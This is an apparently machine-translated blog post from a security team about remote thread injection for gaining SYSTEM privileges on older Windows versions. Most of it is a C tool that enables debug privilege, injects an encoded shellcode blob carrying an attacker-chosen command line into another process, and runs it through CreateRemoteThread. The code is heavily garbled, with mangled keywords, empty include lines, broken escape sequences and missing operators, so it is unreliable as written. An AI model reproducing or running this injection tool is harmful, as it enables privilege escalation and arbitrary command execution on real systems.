Remote thread injection version Get system rights
The previous time Write << Exploit Series (6) - Buffer overflow on the X86 / Windows platform >>
Thread injection, think of this article, return to supplement a little content. Sysproc_now.c does not have good portable
Sexual, in order to distinguish 2000 / XP / 2003, it is forced to use GetversionEx () to make an accurate OS version to determine. By comparison
Remote thread injection is easier to transplant.
If you try to use Winlogon.exe to inject, you need to specify the appropriate WindowStation when programming.
Doing so may not be able to interact normally with the derived child process.
View getProcessWindowStation, getUserObjectInformation et al. In MSDN.
See the "Interactive Services" section of INSIDE 2K ([7]) Chapter V.
When using the terminal service to test CreateRemoteThread_1.c, it is possible to get the following error message:
"CreateremoteThread () Failed: Insufficient storage space, unable to process this command"
Testing on the main control desk is normal. Start thinking that it is WindowStation problem, turn it dynamically gets its name
It is said that the error message is still. Later I remembered that there is the following information in MSDN:
Terminal Services Isolates Each Terminal Session by Design. Therefore,
CreateremoteThread Fails if The Target Process Is in a Different Session
THAN THE CALLING Process.
It is not clear whether there is a way to solve it. If there is no way to solve it, the sysproc_now.c has existence necessary.
-------------------------------------------------- ---------------------------------------------------------------------------------------------------------------------------------------
/ *
* CopyRight (C) 2002, 2012
* The NSfocus Information Technology Co., LTD.
* ------------------------------------------------- ----------------------
* Author: nsfocus security team
*: http://www.nsfocus.com
* Maintain: scz
* Version: 2.02
* Compile: for x86 / ewindows XP SP1 & VC 7
*: Cl CreateRemoteThread_1.c / NOLOGO / OS / G6 / GS65536 / W3 / D "WIN32" / D "ndebug" / d "_console" / MT / LINK / RELEASE
*:
* Create: 2003-10-08 13:37
* Modify: 2003-10-08 17:02
* ------------------------------------------------- ----------------------
* The only thing the cant take from us is our minds.! H
* /
/ ************************************************** **********************
* *
* Head file *
* *
*********************************************************** ********************** / # incrude
#include
#include
#include
/ ************************************************** **********************
* *
* Macro *
* *
*********************************************************** ********************* /
#pragma comment (Linker, "/ Incremental: no")
#pragma comment (Linker, "/ subsisystem: console")
#pragma comment (lib, "kernel32.lib")
#pragma comment (Lib, "Advapi32.lib")
#define version "2.02"
#define maxbuflen 8192
#define charbase a
#define charescape_
#define charXor ^
TypedEf long NTSTATUS;
#define nt_success (status) (status)> = 0)
#DEFINE STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS) 0xC0000004L)
Typedef long kpriority;
Typedef struct _unicate_string
{
Ushort Length;
Ushort maximumlength;
PWSTR BUFFER;
} Unicode_string, * punicode_string;
Typedef enum _system_information_class
{
SystemProcesSandthreadsinformation = 5
} System_information_class;
Typedef struct _system_processes
{
Ulong nextentryDelta;
Ulong threadcount;
Ulong reserved1 [6];
Large_integer createtime;
Large_integer usertime;
Large_integer kernetime;
Unicode_string processname;
KPRIORITY BASEPRIORITY
Ulong processid;
Ulong inheritedFromProcessId;
} System_processes, * psystem_processes;
Typedef ulong (__stdcall * rtlntstatustodoserror) (in ntstatus status);
typedef NTSTATUS (__stdcall * ZWQUERYSYSTEMINFORMATION) (IN SYSTEM_INFORMATION_CLASS SystemInformationClass, IN OUT PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength OPTIONAL);
/ ************************************************** **********************
* *
* Function Prototype *
* *
*********************************************************** ********************* /
Static Size_t bufencode
(
Unsigned char * src,
Unsigned char * DST,
SIZE_T SRCLEN
);
Static Bool DisablecurrentProcessDebugprivilege
(
Void
);
Static Bool EnablecurrentProcessDebugprivilege
(
Void
);
Static DWORD getPIDFROMPROCESSNAME
(
Wchar_t * processname
);
Static Bool LocatedllenTry
(
Void
);
Static DWORD __STDCALL PNAMETOPID
(
Char * processname
);
Static void Printwin32erRorcui
(
Char * message,
DWORD dwmessageid
);
Static void Printzwerrori
(
Char * message,
NTSTATUS STATUS
);
Static Bool SetCurrentProcessPrivilege
(
LPCTSTR PrivileGename,
Bool enableflag
);
Static Bool SetPrivilege
(
Handle tokenhandle,
LPCTSTR PrivileGename,
Bool enableflag
);
Static void usage
(
Char * arg
);
/ ************************************************** **********************
* *
* Static global var *
* *
*********************************************************** ********************* /
Static RTLNTSTATASERROR RTLNTSTATASERROR = NULL;
STATIC ZWQUERYSYSTEMINFORMATION ZWQUERYSYSTEMINFORMATION = NULL;
STATIC unsigned char code [] =
"/ XEB / XFE / X33 / XD2 / XFC / XAC / X3A / XC2 / X74 / X13 / X3C / X5F / X74"
"/ x05 / x34 / x5e / xaa / Xeb / xf2 / xac / x2c / x41 / xeb / xf6 / xe8 / xe2 / XFF / XFF / XFF"
"/ xb7 / x8f / x5f / xa0 / x5e / x5e / x0b / xd5 / xb2 / x0f / xdd / x3b / xa2 / x5e / xd5 / x1b"
"/ X56 / X51 / XE0 / X5E / XDB / X9E / X2A / X7C / XD5 / X1B / Xa2 / X9F / XBE / X5B / XD5 / X13"
"/ Xa2 / X9F / XB7 / X45 / X55 / X9F / XD5 / X13 / X56 / X51 / XE0 / X57 / X5D / X9F / XD7 / X1B"
"/ xa2 / xd5 / x1b / x56 / x1e / xd7 / x1b / x56 / xb5 / x8a / xd5 / x1b / xa2 / x97 / x9c / x5a"
"/ X5E / X0B / XD5 / XB2 / XDD / XB2 / XD3 / X34 / X1A / XD3 / X1B / XF6 / X0E / XB6 / XBD / X5E"
"/ x5e / x5e / x99 / x1b / x5e / x99 / x1b / x8a / x5f / xa0 / x5e / x5e" "/ x5e / xd5 / x1b / x4e / xd7 / x1b / XEE / X38 / X99 / X1B / X86 / X5F / XA0 / X5E / XA1 / X2B "
"/ x4e / xb6 / xcf / x5e / x5e / x5e / xd5 / x13 / x4e / xd3 / x1a / x5f / xa0 / x5f / xa0 / xd7"
"/ x1b / x4e / xd3 / x1b / xae / x0e / xd3 / x1b / xf6 / x0e / x34 / x5e / x34 / x5e / x36 / x4e"
"/ x5c / x5e / x5e / x34 / x5f / xa0 / x34 / x5e / x34 / x5e / xa1 / x2b / x4e / x34 / x5e / xa1"
"/ x0b / x56 / xdb / x9e / x2a / x52 / xa1 / x2b / xaa / xa1 / x0b / x52 / xa1 / x2b / xae / xa1"
"/ x0b / x52 / x5e / x0b / xd5 / xb2 / x0f / x0f / xd5 / x1b / x42 / xd7 / x1b"
"/ xa6 / xdd / x3b / xa2 / x5e / xb5 / x59 / xd5 / x1b / xa2 / x1e / xd7 / x1b / xa2 / xd5 / x1b"
"/ xa2 / x65 / x1b / x7e / x2d / x73 / xd5 / x1b / xa6 / xa1 / x6e / xa1 / x2b / x46 / xa1 / x2b"
"/ X4A / XA1 / X2B / X4E / XA1 / X2B / X52 / XA1 / X2B / X56 / XB6 / X29 / X5E / X5E / X5E / XD5"
"/ x13 / xa2 / xd5 / x0b / x7a / xd7 / x5a / xd4 / xd5 / x1b / xa6 / xdd / x9e / x5a / xd7 / x1b"
"/ xa6 / xb5 / x9a / xd5 / x1b / xa6 / x97 / x9c / x7e / x5e / x0b / xd5 / xb2 / x0f / x0f / xdd"
"/ x3b / xa6 / x5e / xd5 / x1b / x56 / xd7 / x1b / xa2 / xd5 / x1b / xa2 / x51 / xe0 / x5e / xd5"
"/ x13 / x1 / x1f / xd7 / x13 / x57 / xd5 / x1b / xa6 / x1e / xd7 / x1b"
"/ Xa6 / XB5 / XB8 / XD5 / X1B / XA6 / X5E / X0B / XD5 / XB2 / X0F / XDD / X3B"
"/ xa2 / x5e / xb5 / x59 / xd5 / x1b / xa2 / x1e / xd7 / x1b / xa2 / xd5 / x1b / xa2 / x65 / x1b"
"/ X52 / X2D / X51 / XD5 / X1B / X56 / XDE / X7E / X5E / XD5 / X1B / X56 / X1E / XD7 / X1B / X56"
"/ XB5 / XBC / X97 / X9C / X56 / X5E / X0B / XD5 / XB2 / XDD / XB2 / X4E / XDD / X3B / XA6 / X5E"
"/ xdd / x3b / xa2 / x5e / xdd / x3b / xaa / x5e / xdd / x3b / xae / x5e / xdd / x3b / xa6 / x5e"
"/ xb5 / x59 / xd5 / x1b / xa6 / x1e / xd7 / x1b / xa6 / xd5 / x1b / xa6 / x65 / x1b / x46 / x2d"
"/ x1b / xd5 / x1b / xa6 / xd5 / x1 / x4e / xd5 / x0b / x56 / x5d / x4a / xdf / xd7 / x0b / xaa"
"/ xa1 / x2b / xaa / xb6 / x3d / xa0 / xa1 / xa1 / xd7 / x1b / xa2 / xd5 / x1b / xa2 / x65 / x1b"
"/ X42 / X2B / X7F / XD5 / X1B / Xa6 / XD5 / X13 / X4A / X51 / XE9 / X5A / X1F / XD7 / X1B / XA6"
"/ xd5 / x1b / xa6 / xd5 / x13 / x52 / xd5 / x0b / x56 / x5d / x4a / xdf / xd7 / x0b / xae / xd5" "/ x1b / xae / xb5 / x5a / xb5 / xf2 / x6d / X9E / X97 / X9C / X46 / X5E / X0B / XD5 / XB2 / XDD "
"/ xb2 / x66 / xdd / x3b / xb2 / x5e / xdd / x3b / xa2 / x5e / xdd / x3b / xbe / x5e / xdd / x3b"
"/ x8a / x5e / xdd / x3b / x86 / x5e / xdd / x3b / xae / x5e / xdd / x3b / xaa / x5e / xdd / x3b"
"/ x82 / x5e / xdd / x3b / xa6 / x5e / xdd / x3b / x96 / x5e / xdd / x3b / xb6 / x5e / xdd / x3b"
"/ XBA / X5E / XB7 / XEF / X5E / X5E / X5E / XD1 / X1B / XBA / XE6 / XB7 / XDC / X1E / X5E / X73"
"/ xb9 / xdc / x1e / x5e / x5f / xa0 / x1b / xba / x3a / xff / x6e / x5e / x5e / x5e / xd7 / x1b"
"/ XB2 / XD5 / X1B / XB2 / XD5 / X1E / X52 / XD7 / X1B / Xa2 / XD5 / X1B / XA2 / XD5 / X1E / X42"
"/ xd7 / x1b / xbe / xd5 / x1b / xbe / xd5 / x5e / xd7 / x1b / xbe / xd5 / x1b / xbe / xd5 / x1"
"/ x56 / xd7 / x1b / x8a / xd5 / x1b / x8a / xd5 / x1e / x62 / xd7 / x1b / xb6 / xd5 / x1b / x8a"
"/ x5d / x1b / xb6 / xd5 / x16 / x2a / xd7 / x13 / x86 / xd5 / x1b / x86 / xd5"
"/ x1e / x46 / xd7 / x1b / xae / xd5 / x1b / x86 / xd5 / x1e / x42 / x5d / x1b / x8a / xd7 / x1b"
"/ xaa / xd5 / x1b / x86 / xd5 / x1e / x7e / x5d / x1b / x8a / xd7 / x1b / x82 / xd5 / x1b / x86"
"/ xd5 / x1e / x7a / x5d / x1b / x8a / xd7 / x1b / x96 / xd3 / x1b / x92 / x0e / x34 / x5c / xa1"
"/ x2b / xba / xa1 / x2b / xae / xa1 / x2b / x96 / xa1 / x2b / x82 / xa1 / x2b / xaa / xa1 / x2b"
"/ x8a / xb6 / x5f / xa0 / xa0 / xa1 / xa1 / xd7 / x1b / xba / xa1 / x2b / xba / xa1 / x2b / x8e"
"/ xa1 / x2b / x92 / xb6 / xde / xa3 / xa1 / xa1 / xb5 / x5b / xb6 / x14 / xa1 / xa1 / xa1 / x97"
"/ X9D / X95 / XC8 / XCE / X3C / X89 / X09 / X37 / X30 / X0D / X2A / X3F / X6E"
"/ x02 / x1a / x3b / x38 / x3f / x2b / x32 / x2a / x5e";
/ ************************************************** ********************** /
Static size_t bufencode (unsigned char * src, unsigned char * dst, size_t srcle)
{
UNSIGNED CHAR C;
SIZE_T I, J;
For (i = 0, j = 0; i { DST [J] = SRC ^ Charxor; C = DST [J]; IF (0x00 == c || Chasecape == C) { DST [J] = ChaseCape; J ; DST [J] = C Charbase; } } Return (J); } / * End of bufencode * / Static Bool DisablecurrentProcessDebugprivilege (Void) { Return (SE_DEBUG_NAME, FALSE); } / * end of disablecurrentprocessdebugprivilege * / Static Bool EnablecurrentProcessDebugprivilege (Void) { Return (SE_DEBUG_NAME, TRUE); } / * end of enablecurrentprocessDebugprivilege * / Static DWORD getPIDFROMPROCESSNAME (Wchar_t * processname) { NTSTATUS STATUS; PVOID BUF = NULL; Ulong size = 1; Psystem_processes proc = null; Ulong delta = 0; DWORD PID = 0; for (size = 1; size * = 2) { IF (null == (buf = Calloc (size, 1)))) { FPRINTF (stderr, "Calloc (% U, 1) Failed / N", size); Goto getPidFromProcessName_Exit; } Status = ZwQuerySystemInformation (SystemProcesSandthreadsinformation, BUF, SIZE, NULL); IF (! NT_Success (status)) { IF (status_info_length_mismatch == status) { Free (BUF); BUF = NULL; } Else { Printzwerrorcui ("ZWQuerySystemInformation () Failed", Status; Goto getPidFromProcessName_Exit; } } Else { Break; } } / * End of for * / PROC = (psystem_processes) buf; DO { IF (null! = proc-> processname.buffer) { IF (0 == _wcsicmp (ProcessName, Proc-> ProcessName.buffer) { PID = proc-> processid; Break; } } Delta = proc-> nextenTryDelta; Proc = (psystem_processes) ((char *) Proc Delta); } While (0! = DELTA); GetPidFromProcessName_exit: IF (buf! = NULL) { Free (BUF); BUF = NULL; } Return (PID);} / * end of getpidFromProcessName * / Static Bool LocatedllenTry (Void) { BOOL RET = FALSE; Char NTDLL_DLL [] = "ntdll.dll"; HModule NTDLL_DLL = NULL; IF ((NTDLL_DLL = getModuleHandle (NTDLL_DLL)) == NULL) { Printwin32erRorcui ("getModuleHandle () Failed, getLastError ()); Return (RET); } IF (! (RTLNTSTATUSERROR = (RTLNTSTATUSERROR) GETPROCADDRESS ( NTDLL_DLL, "RTLNTSTATUSERROR" ))))))) { Goto LocatedllenTry_Exit; } IF (! (zwQuerySystemInformation) getProcaddRESS ( NTDLL_DLL, ZwQuerySystemInformation " ))))))) { Goto LocatedllenTry_Exit; } Ret = true; LocatentdllenTry_exit: IF (false == RET) { Printwin32erRorcui ("GetProcaddress (), getLastError ()); } NTDLL_DLL = NULL; Return (RET); } / * end of locatetdllentry * / Static DWORD __STDCALL PNAMETOPID (Char * ProcessName) { INT I; Wchar * processnamew = null; DWORD PID = 0; i = multibytetowidechar ( CP_ACP, 0, ProcessName, (int) (ProcessName 1), NULL, 0 ); IF (0 == i) { Printwin32error ("MultibyToWideChar () Failed [0]", getLastError ()); Goto injectcodetoprocessBYName_Exit; } ProcessNamew = (wchar *) Heapalloc (getProcessHeap (), Heap_zero_memory, i * sizeof (wchar)); IF (null == processnamew) { Printwin32error ("Heapalloc () failed", error_not_enough_memory); Goto injectcodetoprocessBYName_Exit; } IF (0 == MultibyToWideCha) ( CP_ACP, 0, ProcessName, (int) (ProcessName 1), ProcessNamew, i )) { Printwin32errorcui ("MultibyTetowideChar () Failed [1]", getLastError ()); goto injectcodetoprocessBYNAME_EXIT; } WPrintf (L "% s / n", processnamew); IF (0 == (PID = getPidFromProcessName (ProcessNamew)))) { FPRINTF (stderr, "getpidfromProcessName () failed / n"); Goto injectcodetoprocessBYName_Exit; } INJECTCODETOPROCESSBYNAME_EXIT: IF (NULL! = ProcessNamew) { HeapFree (getProcessHeap (), 0, processnamew; ProcessNamew = NULL; } Return (PID); } / * End of pnametopid * / Static void Printwin32error (Char * Message, DWORD DWMESSAGEID) { Char * errmsg; FormatMessage ( FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM, NULL, DwMessageID, Makelangid (Lang_neutral, SUBLANG_DEFAULT), (Lptstr) & errmsg, 0, NULL ); FPRINTF (stderr, "% s:% s", message, errmsg; Localfree (errmsg); Return; } / * end of printwin32errorcui * / Static void Printzwerror (Char * Message, NTSTATUS STATUS) { Char * errmsg; FormatMessage ( FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM, NULL, RTLNTSTATUSTODOSERROR (STATUS), Makelangid (Lang_neutral, SUBLANG_DEFAULT), (Lptstr) & errmsg, 0, NULL ); FPRINTF (stderr, "% s:% s", message, errmsg; Localfree (errmsg); Return; } / * End of printzwerrori * / Static Bool SetCurrentProcessPrivilege (LPCTSTSTSTSTSTSTSTR PrivileGename, Bool Enableflag) { Handle tokenhandle = (Handle) -1; BOOL RET = True; IF (false == OpenProcesstoken (getCurrentProcess (), token_adjust_privileges, & tokenhandle) { Printwin32error ("OpenProcessToken () Failed, getLastError ()); Ret = false; Goto setcurrentprocessprivilege_exit; } Ret = setprivilege (tokenhandle, privilegen, enableflag); setCurrentProcessPrivilege_exit: IF (tokenhandle! = (Handle) -1) { CloseHandle (Tokenhandle); Tokenhandle = (HANDLE) -1; } Return (RET); } / * end of setcurrentprocessprivilege * / Static Bool SetPrivilege (Handle Tokenhandle, LPCTSTR PrivileName, Bool Enableflag) { DWORD ERROR; BOOL RET = FALSE; Token_Privileges TP = { 1, { {{0, 0}, 0} } } IF (True == EnableFlag) { TP.Privileges [0] .attributes = se_privilege_enabled; } IF (false == lookupprivilerage "(null, privilegename, & tp.privileges [0] .luid)) { Printwin32error ("Lookuppprivilerage () Failed", getLastError ()); Goto setprivilege_exit; } IF (false == AdjustTokenPrivileges (Tokenhandle, False, & TP, SIZEOF (TP), NULL, NULL) { Printwin32erRorcui ("AdjustTokenPrivileges () failed", getLastError ()); Goto setprivilege_exit; } Else { Error = getLastError (); IF (error_success! = error) { Printwin32error ("AdjustTokenPrivileges () Failed", Error); Goto setprivilege_exit; } } Ret = true; SetPrivilege_exit: Return (RET); } / * End of setprivilege * / Static Void Usage (Char * Arg) { FPRINTF ( STDERR, "USAGE:% s [-h] [-V] [-c cmdline] [-P pid] [-q pname] / n", arg ); EXIT (exit_failure); } / * End of usage * / INT __CDECL Main (int Argc, char * argv []) { int RET = EXIT_FAILURE, C; Handle HProcess = NULL, hthread = null; CHAR * CMDLINE = NULL; DWORD PID = 0; Char * PNAME = NULL; LPVOID Remotebuf = NULL; UNSIGNED Char BUF [Maxbuflen]; SIZE_T J; IF (1 == argc) { USAGE (Argv [0]); } FOR (c = 1; c IF (((Argv [C] [0]! = -) && (Argv [C] [0]! = /)) || (Strlen (Argv [C]) <2))) { USAGE (Argv [0]); } Else { Switch (TOLOWER (Argv [C] [1])) { Case C: IF ((C 1)> = argc) { USAGE (Argv [0]); } CMDLINE = Argv [ C]; Break; Case P: IF ((C 1)> = argc) { USAGE (Argv [0]); } PID = (DWORD) STRTOUL (Argv [ C], NULL, 0); Break; Case Q: IF ((C 1)> = argc) { USAGE (Argv [0]); } PNAME = Argv [ C]; Break; Case V: FPRINTF (stderr, "% s ver" version "/ n", argv [0]); Return (exit_success); Case H: Case?: DEFAULT: USAGE (Argv [0]); Break; } / * end of switch * / } } / * End of for * / IF (null == cmdline) { FPRINTF (stderr, "checking your [-c cmdline] / n"); Return (RET); } IF (0 == pid && null == PNAME) { FPRINTF (stderr, "checking your [-p pid] [-q pname] / n"); Return (RET); } EnableCurrentProcessDebugprivilege (); ZeromeMory (BUF, SIZEOF (BUF)); J = Strlen (Code); Memcpy (BUF, Code, J); J = bufencode (cmdline, buf j, strlen (cmdline) 1) 1; IF (false == locatetdllentry ()) { FPRINTF (stderr, "locatentdllentry () failed / n"); Goto main_exit; } IF (NULL! = PNAME) { PID = PNAMETOPID (PNAME); } IF (0 == PID) { FPRINTF (stderr, "checking your [-p pid] [-q pname] / n"); Goto main_exit; } Else { Printf ("PID =% U / N", PID); } HProcess = OpenProcess ( Process_create_thread | Process_Query_information | Process_vm_operation | Process_vm_read | Process_vm_write, False, PID ); IF (null == hprocess) { Printwin32erRorcui ("OpenProcess () Failed", getLastError ()); Goto main_exit; } Remotebuf = Virtualallocex ( HProcess, NULL, J, MEM_COMMIT, Page_execute_readwrite ); IF (null == transotebuf) { Printwin32erRorcui ("VirtualaLalkEx () Failed, getLastError ()); Goto main_exit; } IF (0 == WriteProcessMemory ( HProcess, Remotebuf, BUF, J, NULL )) { Printwin32erRorcui ("WriteProcessMemory (), getLastError ()); Goto main_exit; } hthread = createremotethread ( HProcess, NULL, 0, (Lpthread_start_routine) RemoteBuf, NULL, 0, NULL ); IF (null == hthread) { Printwin32error ("CreateRemoteThread (), getLastError ()); Goto main_exit; } IF (wait_failed == WaitforsingleObject (hthread, infinite)) { Printwin32erRorcui ("WaitforsingleObject (), getLastError ()); Goto main_exit; } Printf ("/ NYOU SHOULD SEE this Message / N); RET = EXIT_SUCCESS; Main_exit: IF (NULL! = HTHREAD) { CloseHandle (HTHREAD); hthread = null; } IF (NULL! = HPROCESS) { IF (NULL! = Remotebuf) { VirtualFreeex (HProcess, Remotebuf, 0, MEM_RELEASE); Remotebuf = NULL; } CloseHandle (HPROCESS); HProcess = NULL; } DisablecurrentProcessDebugprivilege (); Return (RET); } / * End of main * / / ************************************************** ********************** /